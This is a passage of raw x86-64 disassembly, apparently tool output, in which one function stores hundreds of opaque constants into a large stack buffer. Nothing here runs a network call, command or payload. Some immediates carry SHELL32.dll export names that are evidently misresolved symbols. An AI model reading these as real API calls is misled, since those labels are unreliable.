mov byte [rsp + 0x31a], 0x6e
mov eax, 0x69b
mov word [rsp + 0x1ce8], ax
mov byte [rsp + 0x31b], 0xd1
mov eax, 0x28f
mov word [rsp + 0x1cec], ax
mov dword [rsp + 0x6ce0], 0x231e
mov eax, 0x4fc
mov word [rsp + 0x1cf0], ax
mov byte [rsp + 0x31c], 0xe4
movabs rax, 0x76c968a46ae755
mov qword [rsp + 0xda28], rax
mov byte [rsp + 0x31d], 0x80
mov eax, 0x9a7
mov word [rsp + 0x1cf4], ax
mov dword [rsp + 0x6ce4], 0x478d
mov dword [rsp + 0x6ce8], 0xc958
mov byte [rsp + 0x31e], 0xa5
movabs rax, 0x7e8379bdd7f809
mov qword [rsp + 0xda30], rax
mov eax, 0xc4e
mov word [rsp + 0x1cf8], ax
mov eax, 0x737
mov word [rsp + 0x1cfc], ax
mov dword [rsp + 0x6cec], 0x398a
mov byte [rsp + 0x31f], 0x26
mov byte [rsp + 0x320], 0x38
mov byte [rsp + 0x321], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x6cf0], 0x57d3
mov byte [rsp + 0x322], 0x63
mov dword [rsp + 0x6cf4], 0x767
mov eax, 0x61b
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x6cf8], 0x40f4
movabs rax, 0x7bdde3d7fa4236
mov qword [rsp + 0xda38], rax
mov eax, 0x892
mov word [rsp + 0x1d04], ax
mov eax, 0x5ea
mov word [rsp + 0x1d08], ax
mov dword [rsp + 0x6cfc], 0x53c
movabs rax, 0x78a2793a714a89
mov qword [rsp + 0xda40], rax
mov byte [rsp + 0x323], 0x78
mov dword [rsp + 0x6d00], 0xa9a1
movabs rax, 0x71e4fe761527e8
mov qword [rsp + 0xda48], rax
mov dword [rsp + 0x6d04], 0x7b69
mov eax, 0x5c1
mov word [rsp + 0x1d0c], ax
mov byte [rsp + 0x324], 0x9c
movabs rax, 0x7c66aefbb66af4
mov qword [rsp + 0xda50], rax
movabs rax, 0x7e63e418d3ddb4
mov qword [rsp + 0xda58], rax
mov dword [rsp + 0x6d08], 0xb3e1
mov eax, 0xef8
mov word [rsp + 0x1d10], ax
mov eax, 0x197
mov word [rsp + 0x1d14], ax
movabs rax, 0x7992c27950802f
mov qword [rsp + 0xda60], rax
movabs rax, 0x71960b90ddf64d
mov qword [rsp + 0xda68], rax
movabs rax, 0x7347bcc41c7412
mov qword [rsp + 0xda70], rax
mov byte [rsp + 0x325], 0x2f
mov byte [rsp + 0x326], 0x6f
mov byte [rsp + 0x327], 0x67
mov eax, 0x2da
mov word [rsp + 0x1d18], ax
mov dword [rsp + 0x6d0c], 0x4b9a
mov byte [rsp + 0x328], 0x43
mov byte [rsp + 0x329], 0x7d
mov dword [rsp + 0x6d10], 0x5f0e
mov eax, 0x34a
mov word [rsp + 0x1d1c], ax
movabs rax, 0x7cee92dfb5c36c
mov qword [rsp + 0xda78], rax
mov eax, 0xfe5
mov word [rsp + 0x1d20], ax
movabs rax, 0x70987ab31791e0
mov qword [rsp + 0xda80], rax
mov dword [rsp + 0x6d14], 0x7980
movabs rax, 0x7eccca0580fc4c
mov qword [rsp + 0xda88], rax
mov dword [rsp + 0x6d18], 0x5456
movabs rax, 0x7dcf5c308aa271
mov qword [rsp + 0xda90], rax
mov dword [rsp + 0x6d1c], 0xa492
mov dword [rsp + 0x6d20], 0x651f
mov byte [rsp + 0x32a], 0xc4
mov byte [rsp + 0x32b], ILCreateFromPathW
mov dword [rsp + 0x6d24], 0xf93
mov eax, 0x2f7
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x6d28], 0x9810
mov dword [rsp + 0x6d2c], 0x257a
mov byte [rsp + 0x32c], 0xf1
movabs rax, 0x70cc66965bd4c7
mov qword [rsp + 0xda98], rax
mov eax, 0xab5
mov word [rsp + 0x1d28], ax
movabs rax, 0x7ac7682c931034
mov qword [rsp + 0xdaa0], rax
mov eax, 4
mov word [rsp + 0x1d2c], ax
mov eax, 0xffc
mov word [rsp + 0x1d30], ax
mov eax, 0x9a0
mov word [rsp + 0x1d34], ax
movabs rax, 0x7427db00ebb6ba
mov qword [rsp + 0xdaa8], rax
mov dword [rsp + 0x6d30], 0x2376
movabs rax, 0x7724736264425b
mov qword [rsp + 0xdab0], rax
mov byte [rsp + 0x32d], SHDoDragDrop
mov eax, 0xbc6
mov word [rsp + 0x1d38], ax
movabs rax, 0x71c787c9dbb166
mov qword [rsp + 0xdab8], rax
movabs rax, 0x75d20f37ffe30c
mov qword [rsp + 0xdac0], rax
mov eax, 0x197
mov word [rsp + 0x1d3c], ax
movabs rax, 0x74c28d61ae209f
mov qword [rsp + 0xdac8], rax
mov dword [rsp + 0x6d34], 0x5ca3
mov dword [rsp + 0x6d38], 0x4de4
mov byte [rsp + 0x32e], ILCreateFromPathW
mov byte [rsp + 0x32f], 0x7f
movabs rax, 0x72dc3762de2f14
mov qword [rsp + 0xdad0], rax
movabs rax, 0x7a8ad891feda11
mov qword [rsp + 0xdad8], rax
movabs rax, 0x7e423e71a32010
mov qword [rsp + 0xdae0], rax
mov eax, 0x43
mov word [rsp + 0x1d40], ax
mov eax, 0x318
mov word [rsp + 0x1d44], ax
mov dword [rsp + 0x6d3c], 0x7c02
movabs rax, 0x7823471feca17d
mov qword [rsp + 0xdae8], rax
mov dword [rsp + 0x6d40], 0x81d
mov eax, 0x419
mov word [rsp + 0x1d48], ax
movabs rax, 0x740e58ad86e69c
mov qword [rsp + 0xdaf0], rax
mov eax, 0x255
mov word [rsp + 0x1d4c], ax
mov byte [rsp + 0x330], ILFree
movabs rax, 0x7149d3fdb2ca31
mov qword [rsp + 0xdaf8], rax
mov eax, 0x1c2
mov word [rsp + 0x1d50], ax
mov eax, 0x6c3
mov word [rsp + 0x1d54], ax
mov byte [rsp + 0x331], 0xf5
mov byte [rsp + 0x332], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6d44], 0x798b
mov dword [rsp + 0x6d48], 0xd56a
mov dword [rsp + 0x6d4c], 0x6841
movabs rax, 0x73bf11f380ddc8
mov qword [rsp + 0xdb00], rax
movabs rax, 0x770c852a842bef
mov qword [rsp + 0xdb08], rax
mov dword [rsp + 0x6d50], 0x908a
mov eax, 0x6ed
mov word [rsp + 0x1d58], ax
movabs rax, 0x7cf3b1bfcd2c70
mov qword [rsp + 0xdb10], rax
mov dword [rsp + 0x6d54], 0x6d20
mov dword [rsp + 0x6d58], 0x9b22
mov dword [rsp + 0x6d5c], 0xe17b
movabs rax, 0x70a36285360418
mov qword [rsp + 0xdb18], rax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x1d5c], ax
mov eax, 0x3be
mov word [rsp + 0x1d60], ax
mov dword [rsp + 0x6d60], 0x3ec6
mov byte [rsp + 0x333], 0xd9
mov byte [rsp + 0x334], 8
mov eax, 0x961
mov word [rsp + 0x1d64], ax
mov byte [rsp + 0x335], 0xee
mov eax, 0x6ba
mov word [rsp + 0x1d68], ax
mov byte [rsp + 0x336], 0x63
mov dword [rsp + 0x6d64], 0xdb69
mov dword [rsp + 0x6d68], 0x2e12
mov dword [rsp + 0x6d6c], 0xb743
mov byte [rsp + 0x337], 0xc8
mov byte [rsp + 0x338], 6
movabs rax, 0x799dbc48eed97e
mov qword [rsp + 0xdb20], rax
mov dword [rsp + 0x6d70], 0x5109
mov byte [rsp + 0x339], 0x29
mov byte [rsp + 0x33a], 0xc6
movabs rax, 0x7016fce5e15da7
mov qword [rsp + 0xdb28], rax
mov eax, 0x3c6
mov word [rsp + 0x1d6c], ax
movabs rax, 0x78c78ac3b87607
mov qword [rsp + 0xdb30], rax
mov byte [rsp + 0x33b], 0x22
mov byte [rsp + 0x33c], 0x75
mov byte [rsp + 0x33d], 0x29
mov eax, 0x62b
mov word [rsp + 0x1d70], ax
movabs rax, 0x7366f3e84c855c
mov qword [rsp + 0xdb38], rax
mov eax, 0x1cf
mov word [rsp + 0x1d74], ax
mov eax, 0x9c8
mov word [rsp + 0x1d78], ax
movabs rax, 0x772d2a670d149d
mov qword [rsp + 0xdb40], rax
mov byte [rsp + 0x33e], 0x26
movabs rax, 0x7e4e1660ac6d78
mov qword [rsp + 0xdb48], rax
mov dword [rsp + 0x6d74], 0x5e48
mov byte [rsp + 0x33f], ILFindChild
movabs rax, 0x77f81eccd069bc
mov qword [rsp + 0xdb50], rax
movabs rax, 0x76fa7910add557
mov qword [rsp + 0xdb58], rax
movabs rax, 0x7e76f88c8bfb13
mov qword [rsp + 0xdb60], rax
movabs rax, 0x72bd61a2e34146
mov qword [rsp + 0xdb68], rax
movabs rax, 0x795a68258d6003
mov qword [rsp + 0xdb70], rax
mov byte [rsp + 0x340], 0x70
mov dword [rsp + 0x6d78], 0x2982
movabs rax, 0x71708cc1cba324
mov qword [rsp + 0xdb78], rax
mov dword [rsp + 0x6d7c], 0x3359
mov dword [rsp + 0x6d80], 0xef59
mov byte [rsp + 0x341], 0x2e
movabs rax, 0x7eb7503cde7fdf
mov qword [rsp + 0xdb80], rax
mov byte [rsp + 0x342], reloc.SHELL32.dll_ILCombine
mov eax, 0x5e7
mov word [rsp + 0x1d7c], ax
mov byte [rsp + 0x343], 0xe5
mov byte [rsp + 0x344], 0x33
movabs rax, 0x7712f1d1ecc117
mov qword [rsp + 0xdb88], rax
movabs rax, 0x77a3242cf1e218
mov qword [rsp + 0xdb90], rax
movabs rax, 0x7d8c4ca1d2204a
mov qword [rsp + 0xdb98], rax
mov eax, 0x18c
mov word [rsp + 0x1d80], ax
movabs rax, 0x76082c368458e5
mov qword [rsp + 0xdba0], rax
mov dword [rsp + 0x6d84], 0x91d5
mov byte [rsp + 0x345], ILFindChild
movabs rax, 0x7bbaa249470f3b
mov qword [rsp + 0xdba8], rax
mov byte [rsp + 0x346], 0xfe
mov byte [rsp + 0x347], ILCreateFromPathW
mov byte [rsp + 0x348], 0xce
mov byte [rsp + 0x349], 0x6d
mov dword [rsp + 0x6d88], 0x40e8
mov eax, 0x5eb
mov word [rsp + 0x1d84], ax
movabs rax, 0x79b8dfb055c551
mov qword [rsp + 0xdbb0], rax
mov eax, 0x372
mov word [rsp + 0x1d88], ax
mov dword [rsp + 0x6d8c], 0x5ba1
movabs rax, 0x79036b6167c244
mov qword [rsp + 0xdbb8], rax
movabs rax, 0x796454215488ad
mov qword [rsp + 0xdbc0], rax
mov dword [rsp + 0x6d90], 0xc7d1
mov byte [rsp + 0x34a], 0x2e
movabs rax, 0x7336fdabc6b3ed
mov qword [rsp + 0xdbc8], rax
movabs rax, 0x7cbb3ead6eb781
mov qword [rsp + 0xdbd0], rax
mov byte [rsp + 0x34b], 0x38
mov dword [rsp + 0x6d94], 0x6a67
movabs rax, 0x774f622099e379
mov qword [rsp + 0xdbd8], rax
mov byte [rsp + 0x34c], 0x65
mov dword [rsp + 0x6d98], 0x5d35
mov byte [rsp + 0x34d], 0x5a
mov dword [rsp + 0x6d9c], 0x2824
mov eax, 0x11a
mov word [rsp + 0x1d8c], ax
mov dword [rsp + 0x6da0], 0x7b44
movabs rax, 0x7456a63bb932dd
mov qword [rsp + 0xdbe0], rax
mov eax, 0x25e
mov word [rsp + 0x1d90], ax
mov byte [rsp + 0x34e], 0xdd
mov eax, 0x7d0
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x6da4], 0x4dd5
mov eax, 0x5e3
mov word [rsp + 0x1d98], ax
movabs rax, 0x7df8be252aa0a0
mov qword [rsp + 0xdbe8], rax
mov byte [rsp + 0x34f], 0x50
movabs rax, 0x732fa85a903739
mov qword [rsp + 0xdbf0], rax
mov eax, 0x42d
mov word [rsp + 0x1d9c], ax
mov byte [rsp + 0x350], SHSetInstanceExplorer
mov byte [rsp + 0x351], 0x4c
mov dword [rsp + 0x6da8], 0xf9fd
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1da0], ax
mov byte [rsp + 0x352], 0x42
movabs rax, 0x726bbd3af78d65
mov qword [rsp + 0xdbf8], rax
movabs rax, 0x72d0630038b411
mov qword [rsp + 0xdc00], rax
mov dword [rsp + 0x6dac], 0xd070
mov dword [rsp + 0x6db0], 0xf461
mov eax, 0x38d
mov word [rsp + 0x1da4], ax
mov dword [rsp + 0x6db4], 0x80f1
mov eax, 0x440
mov word [rsp + 0x1da8], ax
mov eax, 0x1ff
mov word [rsp + 0x1dac], ax
movabs rax, 0x7ba71116a7767e
mov qword [rsp + 0xdc08], rax
mov dword [rsp + 0x6db8], 0x5cd4
mov dword [rsp + 0x6dbc], 0xbaf
mov eax, 0x67e
mov word [rsp + 0x1db0], ax
mov dword [rsp + 0x6dc0], 0x1bb5
mov dword [rsp + 0x6dc4], 0x9084
mov dword [rsp + 0x6dc8], 0xf881
mov eax, 0x23d
mov word [rsp + 0x1db4], ax
mov dword [rsp + 0x6dcc], 0xa32b
movabs rax, 0x7a63da7dc76e8f
mov qword [rsp + 0xdc10], rax
movabs rax, 0x733b17dd35a4e3
mov qword [rsp + 0xdc18], rax
movabs rax, 0x7303f6168657f0
mov qword [rsp + 0xdc20], rax
movabs rax, 0x781c54b35b16cf
mov qword [rsp + 0xdc28], rax
movabs rax, 0x73ae013daa738d
mov qword [rsp + 0xdc30], rax
mov dword [rsp + 0x6dd0], 0x1047
mov dword [rsp + 0x6dd4], 0xe15
movabs rax, 0x726f47db806ebe
mov qword [rsp + 0xdc38], rax
movabs rax, 0x7b75b7d27e9af8
mov qword [rsp + 0xdc40], rax
movabs rax, 0x794864076c6547
mov qword [rsp + 0xdc48], rax
mov dword [rsp + 0x6dd8], 0x1abc
mov byte [rsp + 0x353], 0xc2
mov eax, 0xd11
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x6ddc], 0xfa1
movabs rax, 0x738e4116e8024b
mov qword [rsp + 0xdc50], rax
mov eax, 0xa56
mov word [rsp + 0x1dbc], ax
mov eax, 0x9e3
mov word [rsp + 0x1dc0], ax
mov eax, 0x4bf
mov word [rsp + 0x1dc4], ax
mov byte [rsp + 0x354], SHSetInstanceExplorer
mov byte [rsp + 0x355], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x899
mov word [rsp + 0x1dc8], ax
movabs rax, 0x79b9433b637941
mov qword [rsp + 0xdc58], rax
mov eax, 0xdd4
mov word [rsp + 0x1dcc], ax
mov dword [rsp + 0x6de0], 0xdca7
mov dword [rsp + 0x6de4], 0x2026
mov dword [rsp + 0x6de8], 0x7d29
movabs rax, 0x7d141b70e52435
mov qword [rsp + 0xdc60], rax
mov eax, 0x28d
mov word [rsp + 0x1dd0], ax
mov byte [rsp + 0x356], ILFindChild
mov eax, 0x34c
mov word [rsp + 0x1dd4], ax
movabs rax, 0x7c96c957b9188f
mov qword [rsp + 0xdc68], rax
mov byte [rsp + 0x357], 9
movabs rax, 0x7a496f066b0197
mov qword [rsp + 0xdc70], rax
mov eax, 0x4bd
mov word [rsp + 0x1dd8], ax
mov dword [rsp + 0x6dec], 0x55a0
movabs rax, 0x7ac3e073085dce
mov qword [rsp + 0xdc78], rax
mov eax, 0xa67
mov word [rsp + 0x1ddc], ax
mov eax, 0x332
mov word [rsp + 0x1de0], ax
mov eax, 0x929
mov word [rsp + 0x1de4], ax
movabs rax, 0x7052fc5465e26c
mov qword [rsp + 0xdc80], rax
movabs rax, 0x7e7bb5dde6a364
mov qword [rsp + 0xdc88], rax
mov dword [rsp + 0x6df0], 0xf682
mov dword [rsp + 0x6df4], 0xf333
mov byte [rsp + 0x358], 0x39
mov eax, 0x485
mov word [rsp + 0x1de8], ax
mov byte [rsp + 0x359], 0x75
movabs rax, 0x7781c8c7af4fa2
mov qword [rsp + 0xdc90], rax
mov byte [rsp + 0x35a], 0x7b
movabs rax, 0x783e60210538b2
mov qword [rsp + 0xdc98], rax
mov byte [rsp + 0x35b], 0xa2
mov byte [rsp + 0x35c], 0x1f
mov byte [rsp + 0x35d], 0x27
movabs rax, 0x73ad9b9f6cb2a7
mov qword [rsp + 0xdca0], rax
movabs rax, 0x7e908a64b8a406
mov qword [rsp + 0xdca8], rax
mov dword [rsp + 0x6df8], 0x3cfa
mov eax, 0xda0
mov word [rsp + 0x1dec], ax
mov byte [rsp + 0x35e], 0x7b
movabs rax, 0x70a7e64684923b
mov qword [rsp + 0xdcb0], rax
mov eax, 0x1d
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x6dfc], 0x6964
mov dword [rsp + 0x6e00], 0xa64d
mov byte [rsp + 0x35f], 0x71
mov byte [rsp + 0x360], 0x36
movabs rax, 0x7612c14c77cc18
mov qword [rsp + 0xdcb8], rax
mov eax, 0xd60
mov word [rsp + 0x1df4], ax
mov eax, 0x2e6
mov word [rsp + 0x1df8], ax
mov byte [rsp + 0x361], 0xed
mov eax, 0x6b5
mov word [rsp + 0x1dfc], ax
mov byte [rsp + 0x362], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x6e04], 0x2c0a
mov eax, 0x154
mov word [rsp + 0x1e00], ax
mov eax, 0x87e
mov word [rsp + 0x1e04], ax
mov dword [rsp + 0x6e08], 0x426c
mov dword [rsp + 0x6e0c], 0x4f39
mov byte [rsp + 0x363], 0x75
mov dword [rsp + 0x6e10], 0x3003
mov eax, 0x1d
mov word [rsp + 0x1e08], ax
mov eax, 0xc9e
mov word [rsp + 0x1e0c], ax
mov dword [rsp + 0x6e14], 0x862b
mov byte [rsp + 0x364], 0x4e
mov dword [rsp + 0x6e18], 0x920d
movabs rax, 0x72aa284a88b37f
mov qword [rsp + 0xdcc0], rax
mov eax, 0x540
mov word [rsp + 0x1e10], ax
mov dword [rsp + 0x6e1c], 0x11c5
mov dword [rsp + 0x6e20], 0x3c15
movabs rax, 0x7eb737e9d1a83c
mov qword [rsp + 0xdcc8], rax
mov dword [rsp + 0x6e24], 0xb48
mov dword [rsp + 0x6e28], 0x553d
mov eax, 0x592
mov word [rsp + 0x1e14], ax
mov eax, 0x1dc
mov word [rsp + 0x1e18], ax
mov dword [rsp + 0x6e2c], 0x938
mov byte [rsp + 0x365], ILFindChild
movabs rax, 0x7d7a674dfb1ee1
mov qword [rsp + 0xdcd0], rax
mov dword [rsp + 0x6e30], 0x4423
movabs rax, 0x77bac30a1d139b
mov qword [rsp + 0xdcd8], rax
mov dword [rsp + 0x6e34], 0x1e7c
mov byte [rsp + 0x366], 0x73
movabs rax, 0x7222d547fcb6a1
mov qword [rsp + 0xdce0], rax
mov dword [rsp + 0x6e38], 0xd3dd
mov eax, 0x4bf
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x6e3c], 0x9e21
movabs rax, 0x74d75ebef34b5e
mov qword [rsp + 0xdce8], rax
movabs rax, 0x7954d02362e055
mov qword [rsp + 0xdcf0], rax
movabs rax, 0x757f8b7174c391
mov qword [rsp + 0xdcf8], rax
mov byte [rsp + 0x367], 0x3f
mov eax, 0x2dd
mov word [rsp + 0x1e20], ax
mov byte [rsp + 0x368], 0x5d
mov dword [rsp + 0x6e40], 0x6731
mov dword [rsp + 0x6e44], 0xdbf7
mov byte [rsp + 0x369], ILCreateFromPathW
movabs rax, 0x7ad1c60179c398
mov qword [rsp + 0xdd00], rax
mov byte [rsp + 0x36a], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6e48], 0x5227
movabs rax, 0x775edb66100875
mov qword [rsp + 0xdd08], rax
mov eax, 0x56a
mov word [rsp + 0x1e24], ax
mov eax, 0x31d
mov word [rsp + 0x1e28], ax
mov eax, ILFree
mov word [rsp + 0x1e2c], ax
movabs rax, 0x7bc1e271517ec9
mov qword [rsp + 0xdd10], rax
mov byte [rsp + 0x36b], 0x20
movabs rax, 0x7605fce3ea2efc
mov qword [rsp + 0xdd18], rax
mov dword [rsp + 0x6e4c], 0x5f1
mov byte [rsp + 0x36c], 0x84
mov byte [rsp + 0x36d], 0x5f
mov dword [rsp + 0x6e50], 0x71f4
mov byte [rsp + 0x36e], 0x80
mov eax, 0x792
mov word [rsp + 0x1e30], ax
movabs rax, 0x74373e699087e3
mov qword [rsp + 0xdd20], rax
mov dword [rsp + 0x6e54], 0xfb7
movabs rax, 0x7648e075d7311e
mov qword [rsp + 0xdd28], rax
mov dword [rsp + 0x6e58], 0xf626
movabs rax, 0x7361fbaad95b97
mov qword [rsp + 0xdd30], rax
mov eax, 0x24f
mov word [rsp + 0x1e34], ax
mov dword [rsp + 0x6e5c], 0x469
mov byte [rsp + 0x36f], 0x30
mov dword [rsp + 0x6e60], 0x53c
movabs rax, 0x7d4c7a00f7cbcb
mov qword [rsp + 0xdd38], rax
mov eax, 0x50b
mov word [rsp + 0x1e38], ax
movabs rax, 0x73b79b26747c91
mov qword [rsp + 0xdd40], rax
mov eax, 0x995
mov word [rsp + 0x1e3c], ax
movabs rax, 0x7c25974daf65d8
mov qword [rsp + 0xdd48], rax
mov dword [rsp + 0x6e64], 0x63a
mov dword [rsp + 0x6e68], 0x8dfc
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1e40], ax
mov eax, 0x1e3
mov word [rsp + 0x1e44], ax
movabs rax, 0x76806c1a196c04
mov qword [rsp + 0xdd50], rax
mov byte [rsp + 0x370], 0x64
movabs rax, 0x7439dba797157b
mov qword [rsp + 0xdd58], rax
movabs rax, 0x78b60676653d87
mov qword [rsp + 0xdd60], rax
movabs rax, 0x7d149808595aaf
mov qword [rsp + 0xdd68], rax
movabs rax, 0x793ea77fc72beb
mov qword [rsp + 0xdd70], rax
mov dword [rsp + 0x6e6c], 0x5236
mov eax, 0x1d8
mov word [rsp + 0x1e48], ax
mov eax, 0x3de
mov word [rsp + 0x1e4c], ax
mov byte [rsp + 0x371], 0x87
movabs rax, 0x7aa748b58a2f1f
mov qword [rsp + 0xdd78], rax
mov byte [rsp + 0x372], SHDoDragDrop
mov dword [rsp + 0x6e70], 0x554
mov eax, 0x10b
mov word [rsp + 0x1e50], ax
mov eax, 0x28c
mov word [rsp + 0x1e54], ax
mov dword [rsp + 0x6e74], 0x2224
mov byte [rsp + 0x373], 0x67
mov eax, 0x121
mov word [rsp + 0x1e58], ax
movabs rax, 0x7ac840c3f32955
mov qword [rsp + 0xdd80], rax
mov byte [rsp + 0x374], ILFree
mov dword [rsp + 0x6e78], 0xa060
mov eax, 0xa15
mov word [rsp + 0x1e5c], ax
mov dword [rsp + 0x6e7c], 0xe88d
mov byte [rsp + 0x375], 0x70
mov eax, 0xcd8
mov word [rsp + 0x1e60], ax
mov eax, 0x38
mov word [rsp + 0x1e64], ax
mov eax, 0x649
mov word [rsp + 0x1e68], ax
mov byte [rsp + 0x376], 0x5c
mov eax, 0x5bf
mov word [rsp + 0x1e6c], ax
mov eax, 0x670
mov word [rsp + 0x1e70], ax
mov byte [rsp + 0x377], ILSaveToStream
movabs rax, 0x71d1b298730c70
mov qword [rsp + 0xdd88], rax
mov dword [rsp + 0x6e80], 0xa761
mov eax, 0x84
mov word [rsp + 0x1e74], ax
mov dword [rsp + 0x6e84], 0x7260
movabs rax, 0x767c1db09c23fe
mov qword [rsp + 0xdd90], rax
mov eax, 0x35d
mov word [rsp + 0x1e78], ax
movabs rax, 0x70b57d7a25398d
mov qword [rsp + 0xdd98], rax
movabs rax, 0x78313b9dacd75f
mov qword [rsp + 0xdda0], rax
mov eax, 0x73b
mov word [rsp + 0x1e7c], ax
mov eax, 0xfe
mov word [rsp + 0x1e80], ax
movabs rax, 0x7d8bfd9683407e
mov qword [rsp + 0xdda8], rax
mov dword [rsp + 0x6e88], 0x3f76
mov byte [rsp + 0x378], 0x3a
mov eax, 0x3f3
mov word [rsp + 0x1e84], ax
mov byte [rsp + 0x379], 0xee
movabs rax, 0x7e194b29f86291
mov qword [rsp + 0xddb0], rax
mov byte [rsp + 0x37a], 0xd3
mov eax, 0x30b
mov word [rsp + 0x1e88], ax
mov eax, 0xfd3
mov word [rsp + 0x1e8c], ax
mov eax, 0x7ea
mov word [rsp + 0x1e90], ax
mov dword [rsp + 0x6e8c], 0x7e33
movabs rax, 0x7813c6ad8b403c
mov qword [rsp + 0xddb8], rax
mov eax, OleCreatePropertyFrameIndirect
mov word [rsp + 0x1e94], ax
mov dword [rsp + 0x6e90], 0x6818
mov eax, 0x8bd
mov word [rsp + 0x1e98], ax
mov dword [rsp + 0x6e94], 0x1a18
mov eax, 0x7b3
mov word [rsp + 0x1e9c], ax
mov eax, 0xc5
mov word [rsp + 0x1ea0], ax
mov eax, 0x539
mov word [rsp + 0x1ea4], ax
mov eax, 0x121
mov word [rsp + 0x1ea8], ax
mov dword [rsp + 0x6e98], 0x2623
mov eax, 0x79
mov word [rsp + 0x1eac], ax
mov byte [rsp + 0x37b], 0xca
mov eax, 0x177
mov word [rsp + 0x1eb0], ax
mov byte [rsp + 0x37c], ILCloneFirst
mov dword [rsp + 0x6e9c], 0xfd4
movabs rax, 0x7d4a98d434e302
mov qword [rsp + 0xddc0], rax
mov eax, 0x99c
mov word [rsp + 0x1eb4], ax
mov byte [rsp + 0x37d], SHGetNewLinkInfoW
movabs rax, 0x70d73329261b07
mov qword [rsp + 0xddc8], rax
mov dword [rsp + 0x6ea0], 0x7d10
mov byte [rsp + 0x37e], PathYetAnotherMakeUniqueName
movabs rax, 0x79cc63c0ae52ad
mov qword [rsp + 0xddd0], rax
mov byte [rsp + 0x37f], 0x5e
mov dword [rsp + 0x6ea4], 0x1cf3
mov dword [rsp + 0x6ea8], 0x7221
mov dword [rsp + 0x6eac], 0x2672
mov eax, 0x73
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x6eb0], 0x59d1
mov dword [rsp + 0x6eb4], 0x69be
movabs rax, 0x70ac70bba9e880
mov qword [rsp + 0xddd8], rax
mov dword [rsp + 0x6eb8], 0x61cd
movabs rax, 0x73788353e3e999
mov qword [rsp + 0xdde0], rax
mov dword [rsp + 0x6ebc], 0x7e59
movabs rax, 0x7ea1cc308e191b
mov qword [rsp + 0xdde8], rax
movabs rax, 0x7773e8014f269c
mov qword [rsp + 0xddf0], rax
movabs rax, 0x7733bc4b3f0732
mov qword [rsp + 0xddf8], rax
movabs rax, 0x78343fe890724e
mov qword [rsp + 0xde00], rax
mov eax, 0x320
mov word [rsp + 0x1ebc], ax
mov dword [rsp + 0x6ec0], 0x745f
mov byte [rsp + 0x380], ILCloneFirst
mov dword [rsp + 0x6ec4], 0xa3a
movabs rax, 0x7d84989afebcac
mov qword [rsp + 0xde08], rax
mov byte [rsp + 0x381], 0x25
mov dword [rsp + 0x6ec8], 0x6f26
movabs rax, 0x749ef621434d96
mov qword [rsp + 0xde10], rax
movabs rax, 0x7508f9abb9761a
mov qword [rsp + 0xde18], rax
movabs rax, 0x7235be7f4e4297
mov qword [rsp + 0xde20], rax
mov byte [rsp + 0x382], 0x30
movabs rax, 0x717ce3d1df5841
mov qword [rsp + 0xde28], rax
mov byte [rsp + 0x383], 0x23
movabs rax, 0x75ebfd2f8fd7f8
mov qword [rsp + 0xde30], rax
movabs rax, 0x7e1dda17c791db
mov qword [rsp + 0xde38], rax
mov dword [rsp + 0x6ecc], 0xb305
mov eax, 0x176
mov word [rsp + 0x1ec0], ax
mov eax, 0x36
mov word [rsp + 0x1ec4], ax
mov eax, 0x773
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x6ed0], 0xcbf9
mov dword [rsp + 0x6ed4], 0x7ff9
mov dword [rsp + 0x6ed8], 0x3c93
mov dword [rsp + 0x6edc], 0x3158
movabs rax, 0x7e13fcd4539e1d
mov qword [rsp + 0xde40], rax
mov byte [rsp + 0x384], 0x9f
mov dword [rsp + 0x6ee0], 0xd81e
mov dword [rsp + 0x6ee4], 0xe3eb
mov byte [rsp + 0x385], 0x6c
mov dword [rsp + 0x6ee8], 0x8b8b
movabs rax, 0x76ba0631da4837
mov qword [rsp + 0xde48], rax
mov dword [rsp + 0x6eec], 0x3acd
mov dword [rsp + 0x6ef0], 0x4841
movabs rax, 0x7606ff4844f15b
mov qword [rsp + 0xde50], rax
mov byte [rsp + 0x386], PathYetAnotherMakeUniqueName
movabs rax, 0x70572157665a06
mov qword [rsp + 0xde58], rax
mov byte [rsp + 0x387], ILCloneFirst
mov byte [rsp + 0x388], SHDoDragDrop
movabs rax, 0x7e9627400c1cb3
mov qword [rsp + 0xde60], rax
mov eax, 0x277
mov word [rsp + 0x1ecc], ax
movabs rax, 0x795f88e798ccb3
mov qword [rsp + 0xde68], rax
mov dword [rsp + 0x6ef4], 0x1ff9
mov byte [rsp + 0x389], reloc.SHELL32.dll_ILRemoveLastID
mov byte [rsp + 0x38a], 0x32
mov byte [rsp + 0x38b], 0x39
mov byte [rsp + 0x38c], 0xf3
movabs rax, 0x77698dcd7b9c60
mov qword [rsp + 0xde70], rax
mov dword [rsp + 0x6ef8], 0x24ff
mov eax, 0xe98
mov word [rsp + 0x1ed0], ax
movabs rax, 0x740d97b3023c2e
mov qword [rsp + 0xde78], rax
movabs rax, 0x7a08b40ce62e51
mov qword [rsp + 0xde80], rax
mov dword [rsp + 0x6efc], 0x4190
mov eax, 0xbe7
mov word [rsp + 0x1ed4], ax
mov eax, 0x17d
mov word [rsp + 0x1ed8], ax
mov dword [rsp + 0x6f00], 0x2a9b
mov byte [rsp + 0x38d], 0x61
movabs rax, 0x7b4c90379464d8
mov qword [rsp + 0xde88], rax
movabs rax, 0x7deb8b599d8673
mov qword [rsp + 0xde90], rax
mov eax, 0xafc
mov word [rsp + 0x1edc], ax
movabs rax, 0x799d6b9dc24129
mov qword [rsp + 0xde98], rax
mov dword [rsp + 0x6f04], 0x3c72
mov eax, 0x7d0
mov word [rsp + 0x1ee0], ax
mov eax, 0x6a
mov word [rsp + 0x1ee4], ax
mov dword [rsp + 0x6f08], 0xfc7
mov eax, 0x178
mov word [rsp + 0x1ee8], ax
